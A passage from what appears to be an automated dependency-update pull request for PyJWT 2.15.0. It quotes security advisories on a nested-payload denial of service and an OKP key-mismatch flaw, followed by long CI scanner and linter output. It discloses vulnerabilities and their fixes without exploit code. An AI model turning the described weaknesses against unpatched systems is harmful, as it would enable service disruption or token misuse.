instead of its payload is correctly converted to jwt.DecodeError by the
already-hardened jwt/api_jws.py:360 — confirming the payload path is
specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path.
Not an auth bypass — rated medium. With signature verification enabled,
this parse runs after _verify_signature, so only the pre-verification
paths (get_signing_key_from_jwt, explicit verify_signature=False) are
attacker-reachable pre-auth; the JWKS-endpoint variant requires control of
(or a MITM on) the configured JWKS endpoint rather than being reachable
from an arbitrary client token.

Suggested fix

In jwt/api_jwt.py:299, change except ValueError as e: to
except (ValueError, RecursionError) as e:, mirroring
jwt/api_jws.py:360 exactly. In jwt/jwks_client.py, add the same
(ValueError, RecursionError) handling around json.load(response) in
fetch_data, raising PyJWKClientError (consistent with the method's
existing documented error contract). A patch implementing both, verified
against the full test suite (457 passed, 4 skipped — pre-existing,
environment-related) and against the reproduction above (now correctly
raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep)
— a semantic code-retrieval tool that surfaces every other call site of a
symbol alongside relevance-ranked results, which is what surfaced the
already-hardened header path as the direct comparison here — paired with
an LLM coding agent (GLM-5.3) run as an open-ended security review of this
repository. Independently reproduced against the exact commit above before
this report was written. Happy to share the full session transcript on
request.

Disclosure status

Not shared with any other party or published. Submitting through this
private channel per the project's stated security policy; no planned
public/conference disclosure ahead of a coordinated timeline.


Maintainer triage update (2026-09-22)
Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verify_signature=False and PyJWKClient.get_signing_key_from_jwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patched_versions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patched_versions and advisory lifecycle can be updated in a separate approved batch.


Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit
5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive
payload parse failure to the expected DecodeError; commit
9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests
deterministic across supported Python versions. This update supersedes the
2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the
PyJWKClient.get_signing_key_from_jwt path were covered by regression tests.
The exact landed tree passed the full 39-environment local tox matrix and
GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed
all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact
remains an uncaught request-level exception in affected releases; there is
still no evidence of process termination, persistent resource exhaustion,
authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest
released version is 2.14.0, which predates these commits; no released
patched version exists yet, so patched_versions remains unset. CVSS v3.1
5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from
triage to private draft. The next lifecycle step is a new supported 2.x
release containing the fix, followed by separately approved patched-version
and publication updates after release verification.


Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-102275 / GHSA-x33g-cr3x-6449 / PYSEC-2026-4183

More information

Details

PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Release Notes

jpadilla/pyjwt (pyjwt)

v2.15.0

Compare Source

See the 2.15.0 changelog for complete release details.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from echoix as a code owner October 3, 2026 11:29
@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Oct 3, 2026
@github-actions

github-actions Bot commented Oct 4, 2026

Copy link
Copy Markdown

❌MegaLinter analysis: Error

❌ REPOSITORY / grype - 3 errors
[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal) from=syft
NAME                  INSTALLED  FIXED IN  TYPE  VULNERABILITY        SEVERITY  EPSS         RISK   
braces                3.0.3                npm   GHSA-vfj7-8cjw-p6xm  High      0.7% (53rd)  0.6    
http-cache-semantics  4.2.0                npm   GHSA-ch52-4w7c-c8xp  High      0.5% (42nd)  0.4    
serialize-javascript  7.1.1      7.1.2     npm   GHSA-gfhx-hw2g-v5hg  Low       0.3% (20th)  < 0.1
[0143] ERROR discovered vulnerabilities at or above the severity threshold
❌ REPOSITORY / osv-scanner - 3 errors
Scanning dir .
Starting filesystem walk for root: /
Scanned mega-linter-runner/yarn.lock file and found 410 packages
Scanned .config/python/dev/requirements.txt file and found 38 packages
Scanned uv.lock file and found 137 packages
Scanned server/requirements.txt file and found 10 packages
End status: 261 dirs visited, 1969 inodes visited, 4 Extract calls, 205.910328ms elapsed, 205.910729ms wall time
Filtered 1 local/unscannable package/s from the scan.

Total 3 packages affected by 3 known vulnerabilities (0 Critical, 2 High, 0 Medium, 1 Low, 0 Unknown) from 1 ecosystem.
1 vulnerability can be fixed.

+-------------------------------------+------+-----------+----------------------+---------+---------------+------------------------------+
| OSV URL                             | CVSS | ECOSYSTEM | PACKAGE              | VERSION | FIXED VERSION | SOURCE                       |
+-------------------------------------+------+-----------+----------------------+---------+---------------+------------------------------+
| https://osv.dev/GHSA-vfj7-8cjw-p6xm | 8.7  | npm       | braces               | 3.0.3   | --            | mega-linter-runner/yarn.lock |
| https://osv.dev/GHSA-ch52-4w7c-c8xp | 8.7  | npm       | http-cache-semantics | 4.2.0   | --            | mega-linter-runner/yarn.lock |
| https://osv.dev/GHSA-gfhx-hw2g-v5hg | 2.3  | npm       | serialize-javascript | 7.1.1   | 7.1.2         | mega-linter-runner/yarn.lock |
+-------------------------------------+------+-----------+----------------------+---------+---------------+------------------------------+
❌ REPOSITORY / trivy - 1 error
────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/typescript_biome/Dockerfile                  │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/typescript_es/Dockerfile                     │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/typescript_prettier/Dockerfile               │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/typescript_standard/Dockerfile               │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/vbdotnet_dotnet_format/Dockerfile            │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/xml_xmllint/Dockerfile                       │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/yaml_prettier/Dockerfile                     │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/yaml_v8r/Dockerfile                          │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ linters/yaml_yamllint/Dockerfile                     │ dockerfile │        -        │         0         │
├──────────────────────────────────────────────────────┼────────────┼─────────────────┼───────────────────┤
│ server/Dockerfile                                    │ dockerfile │        -        │         0         │
└──────────────────────────────────────────────────────┴────────────┴─────────────────┴───────────────────┘
Legend:
- '-': Not scanned
- '0': Clean (no security findings detected)


For OSS Maintainers: VEX Notice
--------------------------------
If you're an OSS maintainer and Trivy has detected vulnerabilities in your project that you believe are not actually exploitable, consider issuing a VEX (Vulnerability Exploitability eXchange) statement.
VEX allows you to communicate the actual status of vulnerabilities in your project, improving security transparency and reducing false positives for your users.
Learn more and start using VEX: https://trivy.dev/docs/v0.74/guide/supply-chain/vex/repo#publishing-vex-documents

To disable this notice, set the TRIVY_DISABLE_VEX_NOTICE environment variable.


mega-linter-runner/yarn.lock (yarn)
===================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 2, CRITICAL: 0)

┌──────────────────────┬────────────────┬──────────┬──────────┬───────────────────┬───────────────┬───────────────────────────────────────────────────────────┐
│       Library        │ Vulnerability  │ Severity │  Status  │ Installed Version │ Fixed Version │                           Title                           │
├──────────────────────┼────────────────┼──────────┼──────────┼───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ braces               │ CVE-2026-93687 │ HIGH     │ affected │ 3.0.3             │               │ braces: braces: Denial of Service via Stack Overflow from │
│                      │                │          │          │                   │               │ Deeply Nested Patterns...                                 │
│                      │                │          │          │                   │               │ https://avd.aquasec.com/nvd/cve-2026-93687                │
├──────────────────────┼────────────────┤          │          ├───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ http-cache-semantics │ CVE-2026-93748 │          │          │ 4.2.0             │               │ http-cache-semantics: http-cache-semantics: Information   │
│                      │                │          │          │                   │               │ Disclosure via max-stale directive                        │
│                      │                │          │          │                   │               │ https://avd.aquasec.com/nvd/cve-2026-93748                │
└──────────────────────┴────────────────┴──────────┴──────────┴───────────────────┴───────────────┴───────────────────────────────────────────────────────────┘

📣 Notices:
  - Version 0.75.0 of Trivy is now available, current version is 0.74.0

To suppress version checks, run Trivy scans with the --skip-version-check flag

(Truncated to last 5000 characters out of 43601)
⚠️ PYTHON / bandit - 197 errors
.uuid4())
187	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
188	    linter_name = linter.linter_name

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:262:4
261	    tmp_report_folder = tempfile.gettempdir() + os.path.sep + str(uuid.uuid4())
262	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
263	    if os.path.isfile(workspace + os.path.sep + "no_test_failure"):

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:512:4
511	    )
512	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
513	    expected_file_name = ""

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:612:4
611	        workspace += os.path.sep + "bad"
612	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
613	    # Call linter

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:713:4
712	        workspace = workspace + os.path.sep + "fix"
713	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
714	

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:819:12
818	            ]
819	            assert (len(list(diffs))) > 0, f"No changes in the {file} file"
820	

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server.py:81:42
80	    if item.fileUploadId:
81	        uploaded_file_path = os.path.join("/tmp/server-files", item.fileUploadId)
82	        if not os.path.isdir(uploaded_file_path):

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server.py:103:38
102	    file_upload_id = "FILE_" + str(uuid1())
103	    uploaded_file_path = os.path.join("/tmp/server-files", file_upload_id)
104	    os.makedirs(uploaded_file_path)

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server_worker.py:102:34
101	        temp_dir = self.create_temp_dir()
102	        upload_dir = os.path.join("/tmp/server-files", file_upload_id)
103	        if os.path.exists(upload_dir):

--------------------------------------------------

Code scanned:
	Total lines of code: 30694
	Total lines skipped (#nosec): 0
	Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0

Run metrics:
	Total issues (by severity):
		Undefined: 0
		Low: 130
		Medium: 59
		High: 8
	Total issues (by confidence):
		Undefined: 0
		Low: 44
		Medium: 40
		High: 113
Files skipped (0):

(Truncated to last 5000 characters out of 136073)
⚠️ SPELL / lychee - 65 errors
> https://docs.vale.sh/topics/vocab/ --[302]--> https://docs.vale.sh/topics/vocab
[404] https://vale.sh/docs/vale-cli/structure/ (at 183:95) | Rejected status code: 404 Not Found | Followed 2 redirects. Redirects: https://vale.sh/docs/vale-cli/structure/ --[301]--> https://docs.vale.sh/vale-cli/structure/ --[302]--> https://docs.vale.sh/vale-cli/structure

Errors in megalinter/descriptors/sql.megalinter-descriptor.yml
[404] https://docs.sqlfluff.com/en/stable/_static/images/sqlfluff-lrg.png (at 32:23) | Rejected status code: 404 Not Found

Errors in megalinter/descriptors/terraform.megalinter-descriptor.yml
[404] https://github.com/gruntwork-io/terragrunt/blob/master/docs/assets/img/favicon/ms-icon-310x310.png (at 124:23) | Rejected status code: 404 Not Found | Followed 1 redirect. Redirects: https://github.com/gruntwork-io/terragrunt/blob/master/docs/assets/img/favicon/ms-icon-310x310.png --[302]--> https://github.com/gruntwork-io/terragrunt/blob/main/docs/assets/img/favicon/ms-icon-310x310.png

Errors in megalinter/descriptors/tsx.megalinter-descriptor.yml
[404] https://eslint-react.xyz/docs/getting-started/installation (at 81:37) | Rejected status code: 404 Not Found

Errors in megalinter/descriptors/xml.megalinter-descriptor.yml
[406] https://gitlab.gnome.org/GNOME/libxml2/-/wikis/home (at 38:17) | Rejected status code: 406 Not Acceptable

Errors in README.md
[ERROR] https://ampcode.com/ (at 248:1) | HTTP/2 protocol error. Server may not support HTTP/2 properly
[301] https://future-architect.github.io/authors/%E5%AE%AE%E6%B0%B8%E5%B4%87%E5%8F%B2 (at 2036:104) | Rejected status code: 301 Moved Permanently
[TIMEOUT] https://generated.at/ (at 1371:301) | Request timed out
[404] https://github.com/oxsecurity/megalinter/stargazers (at 2202:3) | Rejected status code: 404 Not Found
[404] https://github.com/oxsecurity/megalinter/stargazers/ (at 23:1) | Rejected status code: 404 Not Found
[403] https://javascript.plainenglish.io/node-js-coding-standard-tools-with-megalinter-on-gitlab-ci-a43b55915811 (at 2019:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@caodanju/30-seconds-to-setup-megalinter-your-go-to-tool-for-automated-code-quality-and-iac-security-969d90a5a99c (at 2004:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@RunningMattress (at 2013:255) | Rejected status code: 403 Forbidden
[403] https://medium.com/@RunningMattress/level-up-your-unity-packages-with-ci-cd-9498d2791211 (at 2013:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@SeasonedDeveloper (at 2000:255) | Rejected status code: 403 Forbidden
[403] https://medium.com/@SeasonedDeveloper/looking-for-the-best-ci-cd-pipeline-linting-tool-try-megalinter-d89c9eba850d (at 2000:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/datamindedbe/integrating-megalinter-to-automate-linting-across-multiple-codebases-a-technical-description-a200bb235b71 (at 2001:3) | Rejected status code: 403 Forbidden
[403] https://nicolas.vuillamy.fr/improve-uniformize-and-secure-your-code-base-with-megalinter-62ebab422c1 (at 2022:3) | Rejected status code: 403 Forbidden
[403] https://nicolas.vuillamy.fr/megalinter-sells-his-soul-and-joins-ox-security-2a91a0027628 (at 2021:3) | Rejected status code: 403 Forbidden
[403] https://nklya.medium.com/ (at 2018:255) | Rejected status code: 403 Forbidden
[403] https://nklya.medium.com/hot-to-linter-basic-things-like-trailing-whitespaces-and-newlines-7b40da8f688d (at 2018:3) | Rejected status code: 403 Forbidden
[403] https://npmjs.org/package/mega-linter-runner (at 1286:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 1287:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 1288:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 21:1) | Rejected status code: 403 Forbidden | Followed 1 redirect. Redirects: https://npmjs.org/package/mega-linter-runner --[301]--> https://www.npmjs.com/package/mega-linter-runner
[403] https://pmd.sourceforge.io/pmd-6.55.0/pmd_userdocs_tools_ci.html (at 2107:3) | Rejected status code: 403 Forbidden
[403] https://techcommunity.microsoft.com/ (at 2008:371) | Rejected status code: 403 Forbidden
[403] https://techcommunity.microsoft.com/t5/azure-devops-blog/achieve-code-consistency-megalinter-integration-in-azure-devops/ba-p/3939448 (at 2008:3) | Rejected status code: 403 Forbidden
[403] https://techcommunity.microsoft.com/t5/user/viewprofilepage/user-id/2039143#profile (at 2008:255) | Rejected status code: 403 Forbidden
[403] https://www.npmjs.com/package/@downatthebottomofthemolehole/megalinter-mcp-server (at 1978:354) | Rejected status code: 403 Forbidden

Hint: Followed 777 redirects. You might want to consider replacing redirecting URLs with the resolved URLs. Use verbose mode (`-v`/`-vv`) to see redirection details.
Hint: Rejected redirectional status codes. This means some redirects were not followed. You might want to increase the limit for `-m`/`--max-redirects`.

(Truncated to last 5000 characters out of 34503)
⚠️ MARKDOWN / markdownlint - 360 errors
HubCommentReporter.md:27:196 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:179 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:28:46 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:160 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:179 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:159 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:29:48 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:143 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:159 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:171 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:30:46 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:152 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:171 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubStatusReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "GitHub Status Reporter"]
docs/reporters/GitlabCommentReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Gitlab Comment Reporter"]
docs/reporters/JsonReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "JSON Reporter"]
docs/reporters/MarkdownSummaryReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Markdown Summary Reporter"]
docs/reporters/SarifReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "SARIF Reporter (beta)"]
docs/reporters/TapReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "TAP Reporter"]
docs/reporters/TextReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Text Reporter"]
docs/reporters/UpdatedSourcesReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Updated Sources Reporter"]
docs/special-thanks.md:9 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Special thanks"]
docs/special-thanks.md:23:3 error MD045/no-alt-text Images should have alternate text (alt text)
docs/sponsor.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Sponsoring"]
docs/supported-linters.md:9 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Supported Linters"]
docs/supported-linters.md:95:523 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
mega-linter-runner/README.md:27:274 error MD051/link-fragments Link fragments should be valid [Context: "[**apply formatting and auto-fixes**](#apply-fixes)"]
mega-linter-runner/README.md:27:217 error MD051/link-fragments Link fragments should be valid [Context: "[**reports in several formats**](#reports)"]
mega-linter-runner/README.md:288:691 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
README.md:220:127 error MD051/link-fragments Link fragments should be valid [Context: "[many additional features](#mega-linter-vs-super-linter)"]
README.md:427:691 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
README.md:2229:3 error MD045/no-alt-text Images should have alternate text (alt text)
skills/megalinter-check/performance.md:27:601 error MD013/line-length Line length [Expected: 600; Actual: 713]
skills/megalinter-setup/agents/megalinter-runner.md:33:601 error MD013/line-length Line length [Expected: 600; Actual: 620]

(Truncated to last 5000 characters out of 47767)
⚠️ YAML / prettier - 14 errors
# If you use VALIDATE_ALL_CODEBASE = true, you can remove this line to
[error]   70 |           # improve performance
megalinter/descriptors/action.megalinter-descriptor.yml 10ms (unchanged)
megalinter/descriptors/ansible.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/api.megalinter-descriptor.yml 12ms (unchanged)
megalinter/descriptors/arm.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/bash.megalinter-descriptor.yml 18ms (unchanged)
megalinter/descriptors/bicep.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/c.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/clojure.megalinter-descriptor.yml 18ms (unchanged)
megalinter/descriptors/cloudformation.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/coffee.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/copypaste.megalinter-descriptor.yml 2ms (unchanged)
megalinter/descriptors/cpp.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/csharp.megalinter-descriptor.yml 16ms (unchanged)
megalinter/descriptors/css.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/dart.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/dockerfile.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/editorconfig.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/env.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/gherkin.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/go.megalinter-descriptor.yml 14ms (unchanged)
megalinter/descriptors/graphql.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/groovy.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/html.megalinter-descriptor.yml 10ms (unchanged)
megalinter/descriptors/java.megalinter-descriptor.yml 10ms (unchanged)
megalinter/descriptors/javascript.megalinter-descriptor.yml 11ms (unchanged)
megalinter/descriptors/json.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/jsx.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/kotlin.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/kubernetes.megalinter-descriptor.yml 13ms (unchanged)
megalinter/descriptors/latex.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/lua.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/markdown.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/perl.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/php.megalinter-descriptor.yml 33ms (unchanged)
megalinter/descriptors/powershell.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/protobuf.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/python.megalinter-descriptor.yml 76ms (unchanged)
megalinter/descriptors/r.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/raku.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/repository.megalinter-descriptor.yml 92ms (unchanged)
megalinter/descriptors/robotframework.megalinter-descriptor.yml 11ms (unchanged)
megalinter/descriptors/rst.megalinter-descriptor.yml 17ms (unchanged)
megalinter/descriptors/ruby.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/rust.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/salesforce.megalinter-descriptor.yml 38ms (unchanged)
megalinter/descriptors/scala.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/shared/biome.megalinter-linter.yml 4ms (unchanged)
megalinter/descriptors/shared/clang-format.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/shared/cppcheck.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/shared/cpplint.megalinter-linter.yml 5ms (unchanged)
megalinter/descriptors/shared/dotnet-format.megalinter-linter.yml 6ms (unchanged)
megalinter/descriptors/shared/eslint.megalinter-linter.yml 5ms (unchanged)
megalinter/descriptors/shared/prettier.megalinter-linter.yml 5ms (unchanged)
megalinter/descriptors/shared/v8r.megalinter-linter.yml 3ms (unchanged)
megalinter/descriptors/snakemake.megalinter-descriptor.yml 8ms (unchanged)
